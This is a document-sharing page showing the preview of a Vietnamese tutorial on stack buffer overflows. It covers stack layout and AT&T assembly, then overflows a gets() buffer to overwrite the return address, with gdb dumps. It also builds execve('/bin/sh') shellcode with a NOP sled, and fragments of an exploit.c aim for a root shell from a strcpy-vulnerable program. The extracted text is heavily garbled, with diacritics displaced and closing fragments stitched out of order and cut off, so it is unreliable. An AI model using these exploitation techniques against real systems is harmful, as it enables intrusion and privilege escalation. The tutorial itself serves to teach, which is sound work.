1. Trang chủ
  2. » Công Nghệ Thông Tin

Tìm hiểu đầy đủ về tràn bộ đệm pptx

27 367 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 184,85 KB

Nội dung

Tìm hi u đ y đ v tràn b đ mể ầ ủ ề ộ ệ ĐT - Vicki's real fan L i m đ uờ ở ầ Tràn b đ m là m t trong nh ng l h ng b o m t l n nh t hi n nay.ộ ệ ộ ữ ỗ ỏ ả ậ ớ ấ ệ V y tràn b đ m là gì? Làm th nào đ thi hành các mã l nh nguy hi mậ ộ ệ ế ể ệ ể qua tràn b đ m ?ộ ệ ***L u ý*** m t ít ki n th c v Assembly, C, GDB và Linux là đi uư ộ ế ứ ề ề c n thi t đ i v i b n!ầ ế ố ớ ạ S đ t ch c b nh c a m t ch ng trìnhơ ồ ổ ứ ộ ớ ủ ộ ươ / \ đ a ch vùng nh caoị ỉ ớ | | | Stack | | | | | | (Initialized) | | Data | | (Uninitialized) | | | | | | Text | | | \ / đ a ch vùng nh th pị ỉ ớ ấ Stack và Heap? Heap là vùng nh dùng đ c p phát cho các bi n t nh ho c các vùng nhớ ể ấ ế ỉ ặ ớ đ c c p phát b ng hàm malloc()ượ ấ ằ Stack là vùng nh dùng đ l u các tham s và các bi n c c b c a hàm.ớ ể ư ố ế ụ ộ ủ Các bi n trên heap đ c c p phát t vùng nh th p đ n vùng nh cao.ế ượ ấ ừ ớ ấ ế ớ Trên stack thì hoàn toàn ng c l i, các bi n đ c c p phát t vùng nhượ ạ ế ượ ấ ừ ớ cao đ n vùng nh th p.ế ớ ấ Stack ho t đ ng theo nguyên t c "vào sau ra tr c"(Last In First Out -ạ ộ ắ ướ LIFO). Các giá tr đ c đ y vào stack sau cùng s đ c l y ra kh iị ượ ẩ ẽ ượ ấ ỏ stack tr c tiên.ướ PUSH và POP Stack đ t trên xu ng du i(t vùng nh cao đ n vùng nh th p).ổ ừ ố ớ ừ ớ ế ớ ấ Thanh ghi ESP luôn tr đ n đ nh c a stack(vùng nh có đ a ch th p).ỏ ế ỉ ủ ớ ị ỉ ấ đ nh c a b nh / \ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | | | < ESP đáy c a b nh \ / đ nh c a stackủ ộ ớ ỉ ủ * PUSH m t value vào stackộ đ nh c a b nh / \ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | <- ESP cũ | | (2) -> value | <- ESP m i = ESP cũ -ớ sizeof(value) (1) đáy c a b nh \ / đ nh c a stackủ ộ ớ ỉ ủ 1/ ESP=ESP-sizeof(value) 2/ value đ c đ y vào stackượ ẩ * POP m t value ra kh i stackộ ỏ đ nh c a b nh / \ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | <- ESP m i = ESP cũ +ớ sizeof(value)(2) | | (1) <- value | <- ESP cũ đáy c a b nh \ / đ nh c a stackủ ộ ớ ỉ ủ 1/ value đ c l y ra kh i stackượ ấ ỏ 2/ ESP=ESP+sizeof(value) Khác nhau gi a các l nh h p ng AT&T v i Intelữ ệ ợ ữ ớ Khác v i MSDOS và WINDOWS, *NIX dùng các l nh h p ng AT&T.ớ ệ ợ ữ Nó hoàn toàn ng c l i v i chu n c a Intel/Microsoft.ượ ạ ớ ẩ ủ Ví d :ụ Intel AT&T mov eax, esp movl %esp, %eax push 7 push $7 mov [esp+5], eax movl %eax, 0x5(%esp) inc ah incb %ah push 7 push $7 * Ghi chú: e - Extended 32 bits % - register mov %src, %des movl - move 1 long movb - move 1 byte movw - move 1 word $ - h ngằ # - chú thích Cách làm vi c c a hàmệ ủ Thanh ghi EIP luôn tr đ n đ a ch c a câu l nh ti p theo c n thi hành.ỏ ế ị ỉ ủ ệ ế ầ Khi g i hàm, đ u tiên các tham s đ c push vào stack theo th tọ ầ ố ượ ứ ự ng c l i. Ti p theo đ a ch c a câu l nh đ c push vào stack. Sau đó,ượ ạ ế ị ỉ ủ ệ ượ thanh ghi EBP đ c push vào stack(dùng đ l u giá tr cũ c a EBP).ượ ể ư ị ủ Khi k t thúc hàm, thanh ghi EBP đ c pop ra kh i stack(ph c h i l iế ượ ỏ ụ ồ ạ giá tr cũ c a EBP). Sau đó đ a ch tr v (ret address) đ c pop ra kh iị ủ ị ỉ ở ề ượ ỏ stack và l nh ti p theo sau l i g i hàm s đ c thi hành.ệ ế ờ ọ ẽ ượ Thanh ghi EBP đ c dùng đ xác đ nh các tham s và các bi n c c bượ ể ị ố ế ụ ộ c a hàm.ủ Ví d :ụ test.c void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Đ hi u đ c ch ng trình g i hàm function() nh th nào, b n hãyể ể ượ ươ ọ ư ế ạ compile vidu1.c, dùng tham s -S đ phát mã assembly:ố ể [đt@localhost ~/vicki]$cc -S -o test.s test.c Xem file test.s, chúng ta s th y call function() đ c chuy n thành:ẽ ấ ượ ể pushl $3 pushl $2 pushl $1 call function 3 tham s truy n cho function() l n l t đ c push vào stack theo th tố ề ầ ượ ượ ứ ự ng c l i. Câu l nh 'call' s push con tr l nh(t c là thanh ghi EIP) vàoượ ạ ệ ẽ ỏ ệ ứ stack đ l u đ a ch tr v .ể ư ị ỉ ở ề Các l nh đ u tiêu trong hàm function() s có d ng nh sau:ệ ầ ẽ ạ ư pushl %ebp movl %esp,%ebp subl $20,%esp Đ u tiên ESP(frame pointer) đ c push vào stack. Sau đó ch ng trìnhầ ượ ươ copy ESP vào EBP đ t o m t FP pointer m i. B n d nh n th y lúcể ạ ộ ớ ạ ễ ậ ấ này ESP và EBP đ u đang tr đ n ô nh ch a EBP cũ. Hãy ghi nh đi uề ỏ ế ớ ứ ớ ề này. Ti p theo ESP đ c tr đi 20 đ dành không gian cho các bi n c cế ượ ừ ể ế ụ b c a hàm function()ộ ủ Vì ch ng trình 32 bits nên 5 bytes buffer1 s là 8 bytes(2 words) trongươ ẽ b nh (do làm tròn đ n 4 bytes hay là 32 bits), 10 bytes buffer2 s là 12ộ ớ ế ẽ bytes trong b nh (3 words). T ng c ng s t n 8+12=20 bytes cho cácộ ớ ổ ộ ẽ ố bi n c c b c a function() nên ESP ph i b tr đi 20! Stack s có d ngế ụ ộ ủ ả ị ừ ẽ ạ nh sau:ư đáy c aủ đ nh c aỉ ủ b nhộ ớ b nhộ ớ buffer2 buffer1 sfp ret a b c < [ ][ ][ ][ ][ ][ ][ ] đ nh c a 12 bytes 8 bytes 4b 4bỉ ủ đáy c aủ stack stack Trong hàm function(), n i dung thanh ghi EBP không b thay đ i.ộ ị ổ 0xz%ebp dùng đ xác đ nh ô nh ch a tham s c a hàmể ị ớ ứ ố ủ 0xfffffz%ebp dùng đ xác đ nh ô nh ch a bi n c c b c a hàmể ị ớ ứ ế ụ ộ ủ Khi k t thúc hàm function():ế movl %ebp,%esp popl %ebp ret movl %ebp, %esp s copy EBP vào ESP. Vì EBP khi b t đ u hàm trẽ ắ ầ ỏ đ n ô nh ch a EBP cũ và EBP không b thay đ i trong hàm function()ế ớ ứ ị ổ nên sau khi th c hi n l nh movl, ESP s tr đ n ô nh ch a EBP cũ.ự ệ ệ ẽ ỏ ế ớ ứ popl %ebp s ph c h i l i giá tr cũ cho EBP đ ng th i ESP s b gi mẽ ụ ồ ạ ị ồ ờ ẽ ị ả 4(ESP=ESP-sizeof(EBP cũ)) sau l nh ệ popl. Nh v y ESP s tr đ n ôư ậ ẽ ỏ ế nh ch a đ a ch tr v (n m ngay trên ô nh ch a EBP cũ). ớ ứ ị ỉ ở ề ằ ớ ứ ret s popẽ đ a ch tr v ra kh i stack, ESP s b gi m 4 và ch ng trình ti p t cị ỉ ở ề ỏ ẽ ị ả ươ ế ụ thi hành câu l nh sau l nh call function().ệ ệ Ch ng trình b tràn b đ mươ ị ộ ệ Ví d :ụ gets.c: int main() { char buf[20]; gets(buf); } [đt@localhost ~/vicki]$ cc gets.c -o gets /tmp/cc4C6vaT.o: In function `main': /tmp/cc4C6vaT.o(.text+0xe): the `gets' function is dangerous and should not be used. [đt@localhost ~/vicki]$ gets(buf) s nh n input data vào buf. Kích th c c a buf ch là 20 bytes.ẽ ậ ướ ủ ỉ N u ta đ y data có kích th c l n h n 20 bytes vào buf, 20 bytes dataế ẩ ướ ớ ơ đ u tiên s vào m ng buf[20], các bytes data sau s ghi đè lên EBP cũ vàầ ẽ ả ẽ ti p theo là ret addr. Nh v y chúng ta có th thay đ i đ c đ a ch trế ư ậ ể ổ ượ ị ỉ ở v , đi u này đ ng nghĩa v i vi c ch ng trình b tràn b đ m.ề ề ồ ớ ệ ươ ị ộ ệ đ nh c a b nh + + đáy c a stackỉ ủ ộ ớ ủ | return addr | + + | EBP cũ | + + | | | | | buf[20] | | | | | đáy c a b nh + + đ nh c a stackủ ộ ớ ỉ ủ B n hãy th :ạ ử [đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets [đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux" Core was generated by `./gets'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6 done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2 done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info all eax 0xbffffbc4 -1073742908 ecx 0xbffffbc4 -1073742908 edx 0x40105dbc 1074814396 ebx 0x4010748c 1074820236 esp 0xbffffbe0 0xbffffbe0 ebp 0x41414141 0x41414141 // hãy nhìn xem, chúng ta v a ghi đè lên ebpừ esi 0x4000a610 1073784336 edi 0xbffffc24 -1073742812 eip 0x40031100 0x40031100 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) quit [đt@localhost ~/vicki]$ 0x41 chính là "A" d ng hexở ạ Bây gi b n hãy th ti p:ờ ạ ử ế [đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets Segmentation fault [đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux" Core was generated by `./gets'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6 done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2 done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info all eax 0xbffffbc4 -1073742908 ecx 0xbffffbc4 -1073742908 edx 0x40105dbc 1074814396 ebx 0x4010748c 1074820236 esp 0xbffffbe0 0xbffffbe0 ebp 0x41414141 0x41414141 // chúng ta đã ghi đè lên ebp esi 0x4000a610 1073784336 edi 0xbffffc24 -1073742812 eip 0x41414141 0x41414141 // chúng ta đã ghi đè lên eip eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) quit [đt@localhost ~/vicki]$ Đ a ch tr v b thay đ i thành ị ỉ ở ề ị ổ 0x41414141, ch ng trình s thi hànhươ ẽ các l nh t i ệ ạ 0x41414141, tuy nhiên đây là vùng c m nên Linux đã báoấ l i "ỗ Segmentation fault" Shellcode Hình dung các đ t shellcode trên stackặ ví d tr c, chúng ta đã bi t đ c nguyên nhân c a tràn b đ m vàỞ ụ ướ ế ượ ủ ộ ệ cách thay đ i eip. Tuy nhiên, chúng ta c n ph i thay đ i đ a ch tr vổ ầ ả ổ ị ỉ ở ề tr đ n shellcode đ đ m t shell. B n có th hình dung ra cách đ tỏ ế ể ổ ộ ạ ể ặ shellcode trên stack nh sau:ư Tr c khi tràn b đ m:ướ ộ ệ đáy c a b nh đ nhủ ộ ớ ỉ c a b nh ủ ộ ớ < FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ B = buffer E = stack frame pointer R = return address F = các data khác Khi tràn b đ m:ộ ệ đáy c a b nh đ nhủ ộ ớ ỉ c a b nhủ ộ ớ < FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ S = shellcode A = con tr đ n shellcodeỏ ế F = các data khác (1) L p tràn b đ m(đ n return addr) b ng đ a ch c a bufferắ ộ ệ ế ằ ị ỉ ủ (2) Đ t shellcode vào bufferặ Nh v y đ a ch tr v s tr đ n shellcode, shellcode s đ m t rootư ậ ị ỉ ở ề ẽ ỏ ế ẽ ổ ộ shell. Tuy nhiên, th t khó đ làm cho ret addr tr đ n đúng shellcode. Cóậ ể ỏ ế m t cách khác, chúng ta s đ t vào đ u c a buffer m t dãy l nhộ ẽ ặ ầ ủ ộ ệ NOP(NO oPeration - không x lí), ti p theo chúng ta đ y shellcode vàoử ế ẩ sau NOPs. Nh v y khi thay đ i ret addr tr đ n m t n i này đó đ uư ậ ổ ỏ ế ộ ơ ở ầ buffer, các l nh NOP s đ c thi hành, chúng không làm gì c . Đ n khiệ ẽ ượ ả ế g p các l nh shellcode, shellcode s làm nhi m v đ root shell. Stackặ ệ ẽ ệ ụ ổ có d ng nh sau:ạ ư đáy c a b nh đ nhủ ộ ớ ỉ c a b nhủ ộ ớ < FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ N = NOP S = shellcode A = con tr đ n shellcodeỏ ế F = các data khác Vi t và test th shellcodeế ử Shellcode đ c đ t trên stack nên không th nào dùng đ a ch tuy t đ i.ượ ặ ể ị ỉ ệ ố Chúng ta bu c ph i dùng đ a ch t ng đ i. Th t may cho chúng ta, l nhộ ả ị ỉ ươ ố ậ ệ jmp và call có th ch p nh n các đ a ch t ng đ i. Shellcode s cóể ấ ậ ị ỉ ươ ố ẽ d ng nh sau:ạ ư 0 jmp (nh y xu ng z bytes, t c là đ n câu l nh call)ả ố ứ ế ệ 2 popl %esi đăt các hàm t i đây ạ Z call <-Z+2> (call s nh y lên z-2 bytes, đ b ngay câuẽ ả ế l nh sau jmp, POPL)ệ Z+5 .string (bi n)ế Gi i thích:ả đ u shellcode chúng ta đ t m t l nh jmp đ n call. call sở ầ ặ ộ ệ ế ẽ nh y ng c lên l i câu l nh ngay sau jmp, t c là câu l nh ả ượ ạ ệ ứ ệ popl %esi. Chúng ta đ t các d li u ặ ữ ệ .string ngay sau call. Khi l nh call đ c thiệ ượ hành, nó s push đ a ch c a câu l nh k ti p, trong tr ng h p này làẽ ị ỉ ủ ệ ế ế ườ ợ đ a ch c a ị ỉ ủ .string vào stack. Câu l nh ngay sau jmp là ệ popl %esi, như v y esi s ch a đ a ch c a ậ ẽ ứ ị ỉ ủ .string. Chúng ta đ t các hàm c n x lí gi aặ ầ ử ữ popl %esi và call <-z+2>, các hàm này s xác đ nh các d li u ẽ ị ữ ệ .string qua thanh ghi esi. Mã l nh đ đ shell trong C có d ng nh sau:ệ ể ổ ạ ư shellcode.c #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } Đ tìm ra mã l nh assembly th t s c a shellcode, b n c n compileể ệ ậ ự ủ ạ ầ shellcode.c và sau đó ch y gdb. Nh dùng c -static khi compileạ ớ ờ shellcode.c đ g p các mã l nh assembly th t s c a hàm execve vào,ể ộ ệ ậ ự ủ n u không dùngế c này, b n ch nh n đ c m t tham chi u đ n thờ ạ ỉ ậ ượ ộ ế ế ư vi n liên k t đ ng c a C cho hàm execve.ệ ế ộ ủ [đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static shellcode.c [đt@localhost ~/vicki]$ gdb shellcode GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux" (gdb) disas main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disas __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop [...]... xác định địa chỉ trở về khi tràn bộ đệm esp=get_esp(); ret=esp-offset; Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) OFFSET Tại sao phải trừ cho offset? Bởi vì chúng ta có gọi hàm execl("./vulnerable","vulnerable",buffer,0); sau cùng, nên ESP lúc này sẽ bị trừ đi một số bytes do chương trình exploit có sử dụng một số bytes trên stack cho các tham số và biến cục bộ của hàm.Điều này... ~/vicki]$ /sp 0xbffffb07 [đt@localhost ~/vicki]$ Giả sử chương trình mà chúng ta cố làm tràn bộ đệm như sau: vulnerable.c -int main(int argc, char *argv[]) { char buffer[500]; if(argc>=2) strcpy(buffer, argv[1]); return 0; } Đây là chương trình exploit.c exploit sẽ làm tràn bộ đệm của vulnerable và buộc vulnerable đổ một shell lệnh cho chúng ta exploit.c ... = (int)buffer; //lắp đầy mảng large_string[] bằng địa chỉ của mảng buffer[] for (i=0; i | | đáy của + + đỉnh của + + đáy của bộ nhớ stack bộ nhớ STACK HEAP char large_string[128];... *(addr_ptr++)=ret; Tiếp theo chúng ta sẽ lắp đầy 1/2 buffer bằng NOPs for (i=0;i . Tìm hi u đ y đ v tràn b đ mể ầ ủ ề ộ ệ ĐT - Vicki's real fan L i m đ uờ ở ầ Tràn b đ m là m t trong nh ng l h ng b o m t l n nh t hi n nay.ộ ệ ộ ữ ỗ ỏ ả ậ ớ ấ ệ V y tràn b đ m. ngẩ ầ ầ ủ ả large_string[] strcpy(buffer, large_string); //copy large_string vào buffer làm tràn bộ đ mệ Tr c h t chúng ta kh i t o m t m ng large_string[] có kích th c l nướ ế ở ạ ộ ả ướ ớ. trình ti p t cị ỉ ở ề ỏ ẽ ị ả ươ ế ụ thi hành câu l nh sau l nh call function().ệ ệ Ch ng trình b tràn b đ mươ ị ộ ệ Ví d :ụ gets.c: int main() { char buf[20]; gets(buf); } [đt@localhost ~/vicki]$

Ngày đăng: 20/06/2014, 18:20

TỪ KHÓA LIÊN QUAN

w